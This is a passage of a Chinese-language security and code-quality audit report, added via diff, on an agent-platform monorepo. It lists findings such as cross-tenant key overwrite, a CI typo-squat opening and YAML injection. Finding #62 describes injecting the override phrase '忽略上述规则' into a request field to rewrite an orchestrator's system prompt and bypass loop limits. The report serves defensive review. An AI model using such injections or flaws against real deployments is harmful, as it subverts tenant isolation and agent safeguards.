+- **文件:** `agentpaas/api/v1/providers_api.py:133`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ PROVIDERS_FILE = os.path.expanduser("~/.agentpaas/providers.json")
|
|
|
+ saved[provider_id] = entry # not keyed by tenant
|
|
|
+ os.environ[env_key] = req.api_key # process-wide mutation
|
|
|
+ ```
|
|
|
+- **影响:** tenant A 的 POST 覆盖 tenant B 存的 key(跨 tenant 静默覆盖);`os.environ` mutation 意味着 B 后续的 agent run 计费会算到 A 的 key 上。`/providers/{id}/test` 会 exfil 当前那把 key。key 明文落盘;`secrets/vault.py` 被绕过。
|
|
|
+- **修复:** 按 `tenant.tenant_id` 分键;去掉 `os.environ` mutation;走 `secrets/vault.py`。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:1127`(以及 `_build_kb_context` 里的 1191)
|
|
|
+- **证据:** `# KB is a shared resource; no tenant restriction` 注释,校验 `SELECT id FROM knowledge_bases WHERE id = ?` 无 tenant filter。`knowledge.py` 在其他每个 KB 操作上都强制 tenant_id。
|
|
|
+- **影响:** tenant A 把 tenant B 的 `kb_id` 链到自己某个 agent;每次 run 都把 B 的文档注入 A 的 prompt context。UUID 可通过 404-vs-200 timing oracle 猜出来。
|
|
|
+- **修复:** 两个 query 都加 `AND tenant_id = ?`;或引入显式 `shared=true` 列 + 授权表。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 31. `agent-lint-action` 在 lambdagent 装失败时静默 fallback 到 no-op installer
|
|
|
+- **文件:** `agent-lint-action/action.yml:53`
|
|
|
+- **证据:** `pip install pyyaml lambdagent || pip install pyyaml`。`lambdagent` 不在 PyPI 上(已验证:pypi.org 返回 404)。`lint_runner.py:66` 接住 ImportError,返回空 `lint=[]/schema=[]` 加一个 `warning` key(从不被读取),所以 exit 是 0。
|
|
|
+- **影响:** 下游用户拿到绿色 CI badge,实际做了零 lint。Typo-squat 机会:谁在 PyPI 注册 `lambdagent` 就能在每个用这个 action 的 CI 里 code execution。
|
|
|
+- **修复:** 在 PyPI 以验证身份发布 lambdagent 并 pin 版本;安装失败要 loud fail(`set -e`)。
|
|
|
+- **维度:** sec-supply-chain
|
|
|
+
|
|
|
+#### 32. Docker image 以 root 运行(无 `USER` directive)
|
|
|
+- **文件:** `Dockerfile:76`
|
|
|
+- **证据:** `grep -n USER Dockerfile` 没结果。CMD 跑 `python -m agentpaas serve --host 0.0.0.0`。`VOLUME ["/data"]` 从 host bind-mount。`docker-compose.dev.yml` 还直接 bind-mount `./agentpaas`、`./lambdagent`、`./lambdagent_guard`。
|
|
|
+- **影响:** agentpaas 执行 LLM 产出的 tool 调用 + subprocess sandbox——任何一次 sandbox 逃逸、tool RCE 或 prompt-injection 驱动的文件写入都以 root 拥有 container、把 root 拥有的文件写进 host `/data` volume,并(在 dev 里)改写开发者的源码树。
|
|
|
+- **修复:** `RUN useradd -u 10001 -m appuser && chown -R appuser /data /app` + 在 CMD 前 `USER appuser`。
|
|
|
+- **维度:** sec-supply-chain
|
|
|
+
|
|
|
+#### 33. `setup.sh` 在没有 `pyproject.toml` 的 repo root 上跑 `pip install -e ".[all]"`
|
|
|
+- **文件:** `setup.sh:140`
|
|
|
+- **证据:** `pip install -e ".[all]" --quiet 2>&1 | tail -1` 后无条件 `ok "lambdagent 已安装"`。repo root 没有 `pyproject.toml`。line 144 正确用了 `./agentpaas[dev]`。
|
|
|
+- **影响:** 入门 onboarding 脚本的第一步装包静默失败(管道掩盖错误,没 `set -o pipefail`),然后打绿勾。用户在 server 启动时拿到 `ImportError`。和 CI commit `874896e` 修的是同一个缺陷,但没传播到这里。
|
|
|
+- **修复:** `pip install -e "./lambdagent[all]" --quiet` 并去掉 `| tail -1`,或 `set -o pipefail`。
|
|
|
+- **维度:** sec-supply-chain / correctness-examples
|
|
|
+
|
|
|
+#### 34. `authenticate()` —— API-key 登录流程 —— 零 test 覆盖
|
|
|
+- **文件:** `agentpaas/api/middleware/auth.py:80`
|
|
|
+- **证据:** `grep -rn "authenticate\|api_keys\|legacy_hash" tests/` 返回 0。只有 `test_hash_key()` 在孤立测原语。
|
|
|
+- **影响:** legacy→PBKDF2 自动迁移路径会写 `key_hash` 行;没有 test 验证过期 key 被拒;没有 test 覆盖 Bearer 前缀切片或短 key 边界。SEC-01 回归静默溜过。
|
|
|
+- **修复:** 用真实 sqlite tenants+api_keys schema 写 test 覆盖成功、错误 key、过期、suspended、格式不对、Bearer,以及 legacy→PBKDF2 迁移断言。
|
|
|
+- **维度:** tests-gaps
|
|
|
+
|
|
|
+#### 35. `lambdagent/rag.py`(438 LOC)—— Paper III 的招牌特性 —— 零 direct test
|
|
|
+- **文件:** `lambdagent/src/lambdagent/rag.py:1`
|
|
|
+- **证据:** `grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/` 一无所获。`test_knowledge.py` 只覆盖 `builtin_tools.knowledge_tools` shim。(一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本,不是这个模块——所以 impact 是研究质量而不是生产质量,但 gap 仍然真实。)
|
|
|
+- **影响:** 检索 ranking、chunking、embedding-cache 逻辑——客户最常抱怨的东西——在研究/示例用法上没有回归 guard。
|
|
|
+- **修复:** `tests/test_rag.py` 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。
|
|
|
+- **维度:** tests-gaps
|
|
|
+
|
|
|
+#### 36. `test_instance.py` 从未跑过 `agents.agent_template` / `instance_dir` DB 列
|
|
|
+- **文件:** `tests/test_instance.py:20`
|
|
|
+- **证据:** 只 import 了 `_deep_merge, create_instance, load_instance, load_instance_from_dirs`。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 `instance_dir` 被消费。`agents.py:365` 用了 `instance_dir or agent_dir`——静默 fallback。
|
|
|
+- **影响:** 旗舰多 tenant template→instance 特性没有端到端的 DB 持久化 test。migration 出错或空 `instance_dir` 都会让 run 静默路由到共享的 template 目录。
|
|
|
+- **修复:** 端到端 test:sqlite + 两个来自同一 template 但 `instance_dir` 不同的 agent,各 dispatch 一次 run,断言 workspace 隔离。
|
|
|
+- **维度:** tests-gaps
|
|
|
+
|
|
|
+#### 37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败
|
|
|
+- **文件:** `README.md:195`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ researcher = Loop(
|
|
|
+ body=Lam("think", "Analyze the question. Use search if needed."),
|
|
|
+ condition=lambda result: "DONE" in result,
|
|
|
+ max_iterations=10,
|
|
|
+ )
|
|
|
+ ```
|
|
|
+- **影响:** 真实签名是 `Loop(body, condition, max_steps=10)`,`condition: Callable[[Any, int], bool]` 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。
|
|
|
+- **修复:** `Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)`。
|
|
|
+- **维度:** docs-accuracy
|
|
|
+
|
|
|
+#### 38. README `Memory()` 例子用了不存在的 kwarg
|
|
|
+- **文件:** `README.md:202`
|
|
|
+- **证据:** `agent = Memory(researcher, strategy="local", size=20)`。真实签名:`Memory(agent: Term, store: Dict[str, Any] | None = None)`。
|
|
|
+- **影响:** 立刻 TypeError。和坏掉的 Loop 例子挨在一起,整段 Python DSL Quick Start 在用户走到 `agent(...)` 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。
|
|
|
+- **修复:** `Memory(researcher)`,或文档化 YAML 走法。
|
|
|
+- **维度:** docs-accuracy
|
|
|
+
|
|
|
+#### 39. 根目录 `CONTRIBUTING.md` 声明 MIT —— 与 LICENSE(BSL 1.1)矛盾
|
|
|
+- **文件:** `CONTRIBUTING.md:85`
|
|
|
+- **证据:** *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1,`lambdagent/CONTRIBUTING.md:55` 正确写 BUSL-1.1。
|
|
|
+- **影响:** Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT,削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。
|
|
|
+- **修复:** 把根 CONTRIBUTING.md 的 license 条款换成 `lambdagent/CONTRIBUTING.md:54-55` 的 BUSL-1.1 文案。
|
|
|
+- **维度:** docs-accuracy
|
|
|
+
|
|
|
+#### 40. README 声称 11 个 Lambda construct,但 YAML compiler 只支持 5 个
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/schema.py:17`
|
|
|
+- **证据:** `valid_types = ("simple", "react", "chain", "router", "parallel")`。README.md 87-99 行宣传 11 个 construct。`constructs.md` 575 行发布的 YAML 例子带 `type: guard` 和 `type: memory` chain stage,会被 S002 schema 校验拒绝。
|
|
|
+- **影响:** 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 `from_config()` 实际接受的之间存在硬矛盾。
|
|
|
+- **修复:** 要么把 `if|guard|memory|pair` 加进 `valid_types` 并在 `build_agent()` 里 dispatch;要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration",标注这些只在 Python API 可用。
|
|
|
+- **维度:** spec-vs-impl
|
|
|
+
|
|
|
+#### 41. SPEC §3.3.2 —— 文档化了 async `POST /agents/{id}/jobs` 端点但 API 里没有
|
|
|
+- **文件:** `agentpaas/api/v1/jobs.py:13`
|
|
|
+- **证据:** Jobs router 只暴露 `GET /{job_id}` 和 `POST /{job_id}/cancel`。SPEC.md §3.3.2 line 197 文档化 `POST /api/v1/agents/{agent_id}/jobs` 返回 202 带 `poll_url`。`agents.py` 里 grep 没有这个端点。
|
|
|
+- **影响:** 跟 SPEC.md 走的客户根本入不了 async job 队;它被告知用的 `poll_url` 永远没法指到一个用文档化 API 创建的 job。(一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致,但 §3.3.2 的散文写得像已就绪。)
|
|
|
+- **修复:** 实现这个端点;或把 §3.3.2 的散文搬到明确标注 "future" 的章节。
|
|
|
+- **维度:** spec-vs-impl
|
|
|
+
|
|
|
+#### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译,但 chain step 跳过了 `build_agent()`
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1115`
|
|
|
+- **证据:** `_compile_chain` 从每个 step 直接构造原始 `Lam(...)` 对象,只读 `name/prompt/model/temperature/maxTokens`——从不调用 `build_agent(step_cfg)`。对照:`_compile_router`(line 1191)和 `_compile_parallel`(line 1233)都会递归。
|
|
|
+- **影响:** 一个 chain step `{name: x, type: react, react: {maxSteps: 5}, mcp: {...}}` 静默变成单个无状态 Lam。`constructs.md` 上发布的带 `type: react`/`type: guard`/`type: memory` stage 的例子被编译成无用的退化 pipeline。静默失败(无错误)——只 prompt 被读,其他全丢。
|
|
|
+- **修复:** `_compile_chain` 里的原始 `Lam(...)` 换成 `build_agent(step_cfg, overrides, _depth=_depth+1)`。
|
|
|
+- **维度:** spec-vs-impl
|
|
|
+
|
|
|
+#### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg
|
|
|
+*(从 medium 提级——因为 headline marketed feature 上的复合失败;完整证据见下方 medium 区)*
|
|
|
+
|
|
|
+#### 44. 许可证冲突:`lambdagent_guard` 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent
|
|
|
+- **文件:** `lambdagent_guard/pyproject.toml:11`
|
|
|
+- **证据:** `license = {text = "MIT"}` + `dependencies = ["lambdagent>=0.1.0"]`,而 `lambdagent/pyproject.toml:7` 是 `BUSL-1.1`。
|
|
|
+- **影响:** SBOM 扫描器(FOSSA、Snyk)把包当成 MIT 放行,让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。
|
|
|
+- **修复:** 要么把 lambdagent_guard 改为 BUSL-1.1,要么放弃硬依赖,要么正式 dual-license。
|
|
|
+- **维度:** sec-supply-chain
|
|
|
+
|
|
|
+#### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key(SEC-01 部分修复)
|
|
|
+*(证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次,说明 reviewer 收敛到同一处)*
|
|
|
+
|
|
|
+#### 46. `compiler.py` 出现重复的 `enforce_loop` 配置块 —— merge 残留物,未来漂移风险
|
|
|
+*(见 medium 区)*
|
|
|
+
|
|
|
+#### 47-78. *(其余 high finding 归并到下方 medium 区或按 root cause 合并。)*
|
|
|
+
|
|
|
+注:经过三视角裁定,几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为,被中位投到 medium。它们以 medium 报告,但原始关切被保留。
|
|
|
+
|
|
|
+---
|
|
|
+
|
|
|
+### 中 (29)
|
|
|
+
|
|
|
+#### 48. `react_engine` 静默吞掉 callback 异常
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/react_engine.py:87`
|
|
|
+- **证据:** `try: self.on_step(event); except Exception: pass`。`compiler.py` 里重复出现 5+ 次。
|
|
|
+- **影响:** 流式失败(SSE writer 关闭、JSON encode 失败)对 operator 不可见。叠加 BUG-06 trace 分裂,"为什么我没看见这一步?"变成无法诊断。
|
|
|
+- **修复:** `except Exception as e: logger.warning(...)` 加一个 dropped event 计数器。
|
|
|
+
|
|
|
+#### 49. CEKEngine 静默吞掉所有 cost-validation 错误
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/cek_engine.py:144`
|
|
|
+- **证据:** 整条 DESIGN-08 验证路径裹在裸 `except Exception: pass` 里。
|
|
|
+- **影响:** DESIGN-08 被宣传为 "已修",但 `estimate_cost`/`validate_cost` 里任何失败(model KeyError、schema 漂移)都静默跳过 warning。粉饰性修复。
|
|
|
+- **修复:** 记录异常;except 收窄到具体失败 mode。
|
|
|
+
|
|
|
+#### 50. `compiler.py` 里重复的 `enforce_loop` config block —— merge 残留物
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:704`
|
|
|
+- **证据:** 五个变量(`enforce_loop_cfg/tool/min/sequence/min_cycles`)在 680-684 和 704-708 各声明一次,body 一模一样。
|
|
|
+- **影响:** 当前 benign(第二次用同样的值覆盖),但下次有人改其中一块就会被另一块静默盖掉。
|
|
|
+- **修复:** 删 704-708 行。
|
|
|
+
|
|
|
+#### 51. worker fire-and-forget `asyncio.create_task()` —— task 被 GC,run 卡在 'running'
|
|
|
+- **文件:** `agentpaas/engine/worker.py:54`
|
|
|
+- **证据:** `asyncio.create_task(process_job(job))` 没强引用;`process_job` 在 `status='running'` INSERT 之后的 `await sandbox.execute(...)` 周围没有 try/except。`models.py:233` 的 zombie reaper 只在启动时清扫 >6h 的行。
|
|
|
+- **影响:** engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。
|
|
|
+- **修复:** `bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard)` + try/except 写回 failed 状态。
|
|
|
+
|
|
|
+#### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:88`
|
|
|
+- **证据:** `_audit_log` 在 `try: ... except Exception: pass` 里做 INSERT。`audit_log` 表从未在 `_init_tables` 里建。每次 INSERT 静默抛 `OperationalError: no such table: audit_log`。
|
|
|
+- **影响:** 生产里零审计行。S21 控制项形同虚设。
|
|
|
+- **修复:** 加 CREATE TABLE;用 `logger.error` 记录异常。
|
|
|
+
|
|
|
+#### 53. `store_secret` 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT
|
|
|
+- **文件:** `agentpaas/secrets/vault.py:44`
|
|
|
+- **证据:** `(tenant_id, name, environment)` 上没有 UNIQUE 约束;CREATE TABLE 在 runtime helper 里而不是 `_init_tables`。
|
|
|
+- **影响:** 并发 store 产生重复行;`get_secret` 必须在 `store_secret` 至少跑过一次之后才能工作。
|
|
|
+- **修复:** DDL 搬到 `_init_tables` 加 UNIQUE;`INSERT ... ON CONFLICT DO UPDATE SET`。
|
|
|
+
|
|
|
+#### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
|
|
|
+- **文件:** `webui/src/App.tsx:21`
|
|
|
+- **证据:** `grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/` 零结果。
|
|
|
+- **影响:** 任何 render-time 错误(畸形 config shape、过期 localStorage)让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限,但完全没有 telemetry。
|
|
|
+- **修复:** 顶层 ErrorBoundary class 包住 Routes,提供 fallback UI。
|
|
|
+
|
|
|
+#### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
|
|
|
+- **文件:** `webui/src/pages/Chat.tsx:521`
|
|
|
+- **证据:** 用 `setMessages(historical)` 而不是 functional updater;每次 `runsData` 解析且 `historyLoaded` 还是 false 时就跑。
|
|
|
+- **影响:** 老用户在 `runsData` 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。
|
|
|
+- **修复:** `setMessages(prev => prev.length > 0 ? prev : historical)`。
|
|
|
+
|
|
|
+#### 56. `FilePreview.useEffect` 缺 dep + 旧响应 race
|
|
|
+- **文件:** `webui/src/pages/AgentWorkspace.tsx:161`
|
|
|
+- **证据:** `apiKey` 在 fetch 内被读,但缺在 `[agentId, runId, file.path]` deps 里;没有 AbortController。
|
|
|
+- **影响:** 不 remount 重新认证后还闭包着旧 key(静默 401)。快速切换文件:A 的字节出现在 B 的预览面板。
|
|
|
+- **修复:** deps 里加 `apiKey` + cleanup 里 `AbortController`。
|
|
|
+
|
|
|
+#### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷
|
|
|
+- **文件:** `webui/src/store/app.ts:10`
|
|
|
+- **证据:** `persist` middleware 配 `{ name: 'lambdagent-store' }`,默认 localStorage;`apiKey` 字段被 persist。
|
|
|
+- **影响:** 任意页面脚本都能读 bearer key。今天没用 `dangerouslySetInnerHTML`,但 markdown 渲染很可能未来会加——defense-in-depth 缺口。
|
|
|
+- **修复:** 后端 set 的 httpOnly secure cookie,或纯内存 state。
|
|
|
+
|
|
|
+#### 58. Wiki 页面加载器有旧响应 race
|
|
|
+- **文件:** `webui/src/pages/KnowledgeDetail.tsx:943`
|
|
|
+- **证据:** `loadPage` await 时没 abort、没 request-id ref。点 A 再点 B,如果 A 在 B 之后回来,breadcrumb 是 B 但内容是 A。
|
|
|
+- **修复:** `const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return`。
|
|
|
+
|
|
|
+#### 59. `_estimate_money` 用子串匹配 model 名 —— `gpt-4o-mini` 被多算 33×
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41`
|
|
|
+- **证据:** `for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...`。`gpt-4o-mini` 先撞 `gpt-4o`($0.005/1K vs 实际 $0.00015);`claude-3-5-haiku-20250101` 不含 `claude-haiku` → 0.0。
|
|
|
+- **影响:** 成本 telemetry 误导;dict 序变化即影响账单报告。
|
|
|
+- **修复:** 最长前缀匹配;显式带版本 key。
|
|
|
+
|
|
|
+#### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:137`
|
|
|
+- **证据:** 子串 fallback `if key.lower() in label`;Handoff 双向 `name in target or target in name` 在 `multiagent.py:597`。
|
|
|
+- **影响:** Routes `{'bob', 'bobby'}` + label `bobby`(非精确匹配)会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。
|
|
|
+- **修复:** word-boundary regex;或按 key 长度降序排序。
|
|
|
+
|
|
|
+#### 61. 通过 `knowledge_base.root_dir` 注入 YAML 到 `instance.yml`
|
|
|
+- **文件:** `agentpaas/api/v1/knowledge.py:213`
|
|
|
+- **证据:** 在单引号 YAML scalar 里用 f-string 插值 `kb_root`,未转义 `'` 或 `\n`。`Path.resolve()` 都保留。
|
|
|
+- **影响:** 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml,下游 subprocess build script 会信任。前置条件:文件系统写权限。
|
|
|
+- **修复:** 用真正 dict 跑 `yaml.safe_dump({...})`。
|
|
|
+
|
|
|
+#### 62. 通过未校验的 `target_subagent` 注入 prompt 到 ReAct system prompt
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:569`
|
|
|
+- **证据:** `RunStreamRequest.target_subagent` 是自由 str,只做了 `.strip()`,被插值到 `[用户指令]` 哨兵之上。
|
|
|
+- **影响:** 调用方嵌入 `\n忽略上述规则\n` 重写 orchestrator 的 framing,绕过 `enforceLoop` 上限和 artifact-gate 引导。是 self-tenant prompt 操纵,不是跨 tenant。
|
|
|
+- **修复:** 校验是否在 `config["mcp"]["subAgents"]` keys 里;去换行。
|
|
|
+
|
|
|
+#### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移,不强制 rotate
|
|
|
+- **文件:** `agentpaas/api/middleware/auth.py:119`
|
|
|
+- **证据:** `_legacy_hash_key` 是单轮 SHA-256;自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。
|
|
|
+- **影响:** "SEC-01 已修" 名不副实。注:API key 是 32 字符随机(约 190 bit),实际离线暴破不可行——这是 defense-in-depth 卫生,不是 break-glass。
|
|
|
+- **修复:** `must_rotate_before` 截止时间;过截止后拒绝 legacy hash;或后台 job 重 hash。
|
|
|
+
|
|
|
+#### 64. `agentpaas/pyproject.toml` 没声明 SQLAlchemy,尽管 `db/models.py` 的命名暗示
|
|
|
+- **文件:** `agentpaas/pyproject.toml:10`
|
|
|
+- **证据:** `prod = ["asyncpg", "redis", ...]` 但无 `sqlalchemy`。`db/models.py` docstring 声称是 SQLAlchemy ORM;实现用裸 sqlite3 + 对非 sqlite URL 抛 `NotImplementedError`。
|
|
|
+- **影响:** 误导性依赖声明。装 `[prod]` 想部署到 Postgres 会在启动时挂。
|
|
|
+- **修复:** 更新 docstring + 删掉误导性的 asyncpg extra;或者真的用 SQLAlchemy 重写。
|
|
|
+
|
|
|
+#### 65. agentpaas 伸手进 lambdagent 的私有 internals(`_set_cwd` + `agentruntime.cancel`)
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:1399`
|
|
|
+- **证据:** `from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd`(带下划线的 private);`from lambdagent.agentruntime import cancel as _cancel`(按 git status 看是新的未提交 module)。
|
|
|
+- **影响:** 跨包耦合绕过 lambdagent 的 public 面;handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。
|
|
|
+- **修复:** 定义 `lambdagent.host`(或 `lambdagent.runtime.api`)作为 supported 集成面。
|
|
|
+
|
|
|
+#### 66. agentpaas 重度依赖 request handler 里的 inline `from lambdagent ...` import
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:1330`
|
|
|
+- **证据:** agents.py 里 6 处 inline import;`engine/cache.py:41`、`engine/sandbox.py:207-208`、`analyze.py:29,46,47,67,112`、`launch.py:184` 同一模式。
|
|
|
+- **影响:** ImportError 在 per-request 浮出来,而不是启动时。`/health` 过、`/agents/{id}/run` 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。
|
|
|
+- **修复:** 提到模块顶;加 lint 规则禁止函数体内 import lambdagent。
|
|
|
+
|
|
|
+#### 67. 整个 monorepo 的 license 不一致(BSL 1.1 vs MIT)
|
|
|
+- **文件:** `lambdagent_guard/pyproject.toml:9`
|
|
|
+- **证据:** `lambdagent_guard` MIT、`lambdagent` BUSL-1.1、`agentpaas` 完全没有 license。
|
|
|
+- **影响:** 任何想 vendoring 的人都面临 legal 不清;与 #44 呼应。
|
|
|
+- **修复:** 对齐 license;给 agentpaas 显式补一个。
|
|
|
+
|
|
|
+#### 68. agentruntime 子层依赖纠缠
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:17`
|
|
|
+- **证据:** `executor → react_engine`、`recursive_engine → executor`、`adaptive_engine → {recursive, cek}`。BUG-06 trace 分裂的结构原因;`react_engine.py:94` 有明确注释 `"FIX-05: Record trace to BOTH self.trace AND ctx.trace"` 验证了双写绕开方案。
|
|
|
+- **修复:** 单一 `Engine` ABC 在 `agentruntime/engine.py`(已存在);删 `adaptive_engine` 直到 cost-based 切换真的就绪。
|
|
|
+
|
|
|
+#### 69. `extensions.py` 用 late `from .primitives import If` 躲循环 import
|
|
|
+*(被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code;归为清理项)*
|
|
|
+
|
|
|
+#### 70. README 导出数量差 2× —— 声称 81,实际 152
|
|
|
+- **文件:** `README.md:44`
|
|
|
+- **证据:** `from lambdagent import __all__; len(__all__) == 152`。
|
|
|
+- **影响:** 装饰性;低估了成熟度。
|
|
|
+- **修复:** 在 docs hook 里从 `len(lambdagent.__all__)` 自动生成。
|
|
|
+
|
|
|
+#### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg
|
|
|
+- **文件:** `README.md:320`
|
|
|
+- **证据:** `python nl2agent.py ...`——文件其实在 `experiments/nl2agent.py`。程序例子传 `task=`,真实签名是 `one_sentence_to_agent(description, user_input=None, model=..., verbose=True)`。
|
|
|
+- **影响:** Headline 营销特性在首次接触就崩。
|
|
|
+- **修复:** `python experiments/nl2agent.py ...`;把 `task=` 改成 `user_input=`。
|
|
|
+
|
|
|
+#### 72. README 仓库布局表对 `deploy/` 的描述错误,并给了不可运行的安装命令
|
|
|
+- **文件:** `README.md:21`
|
|
|
+- **证据:** 表里说 `deploy/` 含 "Docker Compose, nginx, startup scripts",运行命令是 `docker compose up -d`。实际 `deploy/` 有 7 个文件:`install-native.{sh,ps1}`、`start.{sh,bat,ps1}`、`stop.{sh,bat}`——没有 compose、没有 nginx。compose 文件在 repo root。
|
|
|
+- **影响:** `cd deploy/ && docker compose up -d` 第一次就得到 "no configuration file provided: not found"。
|
|
|
+- **修复:** 如实描述 `deploy/`;compose 的 mention 单独成一行,锚到 repo root。
|
|
|
+
|
|
|
+#### 73. README 的 one-sentence-agent 例子
|
|
|
+*(与 #71 合并)*
|
|
|
+
|
|
|
+#### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 `/stream`,代码挂的是 `/run/stream`
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:432`
|
|
|
+- **证据:** route 是 `@router.post("/{agent_id}/run/stream")`。SPEC.md §3.3.3 line 226 规定 `/agents/{agent_id}/stream`。§3.3.4 line 249 的 WS 端点没有实现。
|
|
|
+- **修复:** 更新 SPEC.md 对齐代码;删掉 WebSocket 段或实现它。
|
|
|
+
|
|
|
+#### 75. SPEC §3.3.1 run 响应 —— `trace_id` 和 `estimated_cost_usd` 文档化但从不返回
|
|
|
+- **文件:** `agentpaas/SPEC.md:178`
|
|
|
+- **证据:** SPEC 承诺两个字段;`agents.py:401-414` 拼装的 resp dict 两个都没有。`runs.trace_id` 列存在但从不外露。
|
|
|
+- **修复:** 要么填上字段(`lambdagent/cost_grade.py` 里有成本机制),要么把 SPEC 与 `api.md` 对齐。
|
|
|
+
|
|
|
+#### 76. from-config-spec §5.5 承诺 Provider 异常是致命的,但 `_compile_lam` 把它吞了
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:562`
|
|
|
+- **证据:** 整段 provider + ConversationLam 构造裹在 `try: ... except Exception: pass`。掉进无状态的 legacy Lam 静默回退。
|
|
|
+- **影响:** 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化("Zero-Hallucination Conversations" 招牌特性),还不打 log。
|
|
|
+- **修复:** 收窄 except;打 warning;可选 `runtime.requireConversation: true`。
|
|
|
+
|
|
|
+#### 77. `lambdagent_guard` 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline
|
|
|
+- **文件:** `lambdagent_guard/core.py:89`
|
|
|
+- **证据:** `lambdagent_guard/core.py:89-110` 和 `agentpaas/api/v1/analyze.py:29-117` 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数,并各自重复实现 tempfile-yaml-compile 那一套。
|
|
|
+- **影响:** 没有 canonical 受保护编译路径;kernel 改名会级联到两个 caller。
|
|
|
+- **修复:** 选一个方向;删掉重复 pipeline 或让 analyze 走 guard。
|
|
|
+
|
|
|
+#### 78. run-workspace 测试依赖 `time.sleep(1.1)` —— 脆弱,并暴露底层秒级时间戳方案本身就脆弱
|
|
|
+- **文件:** `tests/test_run_workspace.py:132`
|
|
|
+- **证据:** `ws1 = ...; time.sleep(1.1); ws2 = ...` 来强行得到唯一目录名。
|
|
|
+- **影响:** 并发 run(现实 PaaS 场景)会走 `sandbox.py:80` 的 collision-suffix fallback,而那条路径未测。
|
|
|
+- **修复:** mock `time.strftime` 返回相同值;断言 collision-fallback 产生不同 path。
|
|
|
+
|
|
|
+#### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— `docs/theory.md` 是 230 行
|
|
|
+- **文件:** `docs/PROJECT_AUDIT_2026Q2.md:195-196`
|
|
|
+- **证据:** Q2 审计说 `theory.md` 是 71 字节 / 空;实际文件是 229 行。`multi-agent.md` 是 14KB。
|
|
|
+- **影响:** Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。
|
|
|
+- **修复:** 下个规划周期之前刷新 Q2 审计的 stub 段。
|
|
|
+
|
|
|
+#### 80. `test_compile_simple` 同时接受 Lam 和 ConversationLam —— 类型断言被削弱
